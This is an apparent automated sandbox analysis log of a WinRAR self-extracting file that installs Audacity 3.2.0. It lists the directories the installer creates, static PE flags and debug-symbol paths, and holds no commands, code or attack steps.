Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hu\is-LCVQ1.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hy	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hy\is-U2HOB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\id	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\id\is-3J2H4.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\it	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\it\is-E6HJ8.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ja	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ja\is-JQCT8.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ka	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ka\is-61DBE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\km	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\km\is-7REVL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ko	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ko\is-J5S6V.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\lt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\lt\is-2CVMQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\mk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\mk\is-02VU6.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\mr	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\mr\is-NDISD.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\my	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\my\is-PIIHM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\nb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\nb\is-B1TJE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\nl	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\nl\is-RTSGB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\oc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\oc\is-FI563.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pl	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pl\is-LEVD6.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pt_BR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pt_BR\is-IMKJS.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pt_PT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pt_PT\is-CU15K.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ro	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ro\is-F0KFG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ru	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ru\is-DR3N6.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sk\is-N11CT.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sl	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sl\is-4TL5P.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sr_RS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sr_RS\is-PRSVB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sr_RS@latin	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sr_RS@latin\is-644HF.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sv	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sv\is-BSL79.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ta	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ta\is-D76SJ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\tg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\tg\is-KRUGD.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\tr	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\tr\is-SKP1O.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\uk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\uk\is-1SRVN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\vi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\vi\is-DG9PQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\zh_CN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\zh_CN\is-5KIHE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\zh_TW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\zh_TW\is-1MOHQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-7K270.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-NTKH4.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-D9254.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-IL8FC.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-UVR1R.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-PVUQC.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-QSS2A.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-CGAC7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-8A690.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-PPVH8.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-RHAJM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-HH9U2.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-CFM98.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-EVALG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-L09O0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-5GAUM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-NQM3B.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-ESFAT.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-13T21.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-BQNBQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-V3FC0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-BNLP7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-6R5OG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-RAD77.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-G5GC0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-DQTC5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-MROM6.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-2UCMK.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-NPI02.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-MMQJF.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-P0K9Q.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-3463Q.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-E4TOU.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-5EL2U.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-05MM5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-727SG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-3DJRE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-RT5IA.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-20JHV.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-HJCIF.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-E3H07.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-C2JTA.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-O6A7U.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-P38RE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves\is-4EKK3.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-TBL3M.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-ODRMT.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-LRPH6.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-II6NQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-11997.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-P00HI.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-EJHHE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-6KU03.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-LHPLL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-V3UUL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-MD7TV.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-KU5LN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-02MKN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-SP0OV.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-NO5SG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-SO3LD.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-BRLM5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-BD9F7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-G1KMP.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-06UFT.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-6QFDO.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-P1C46.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-77BQK.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-853A0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-QVTJ7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-591EJ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-MQUPM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-LKBSE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Plug-Ins\is-C5P2B.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\modules	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\modules\is-JOTP7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\unins000.msg	Jump to behavior

Source: WsiysHggF9.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: WsiysHggF9.exe, 00000000.00000003.245658936.00000000052DC000.00000004.00000800.00020000.00000000.sdmp, WsiysHggF9.exe, 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmp, WsiysHggF9.exe, 00000000.00000003.244701687.00000000052B8000.00000004.00000800.00020000.00000000.sdmp, WsiysHggF9.exe, 00000000.00000000.243769548.0000000000272000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\mpg123\1.29.3\_\_\build\9e1553e6621f02c61665c153436b2dfb785b6498\bin\mpg123.pdb00 source: Audacity.exe, 00000010.00000002.583274055.00007FFCFF249000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\flac\1.3.3\_\_\build\4fab43cea7baf5ca3c7db544507a05b38a68f73e\build\src\libFLAC\RelWithDebInfo\FLAC.pdb11 source: Audacity.exe, 00000010.00000002.580349736.00007FFCFF0A0000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\ogg\1.3.4\_\_\build\ad5261bf6074807e7189c351b0f79b113bf2f6c0\build\RelWithDebInfo\ogg.pdb source: Audacity.exe, 00000010.00000002.576735272.00007FFCFEEB9000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\audacity\audacity\.conan\data\flac\1.3.3\_\_\build\4fab43cea7baf5ca3c7db544507a05b38a68f73e\build\src\libFLAC++\RelWithDebInfo\FLAC++.pdb!! source: Audacity.exe, 00000010.00000002.583539424.00007FFCFF270000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: _.pdb source: Installation_controller.exe, 00000001.00000003.378455694.000000003FC3A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\audacity\audacity\.build.x64\bin\RelWithDebInfo\modules\mod-script-pipe.pdb source: audacity-win-3.2.0-64bit.tmp, 0000000B.00000002.516640303.0000000000198000.00000004.00000010.00020000.00000000.sdmp
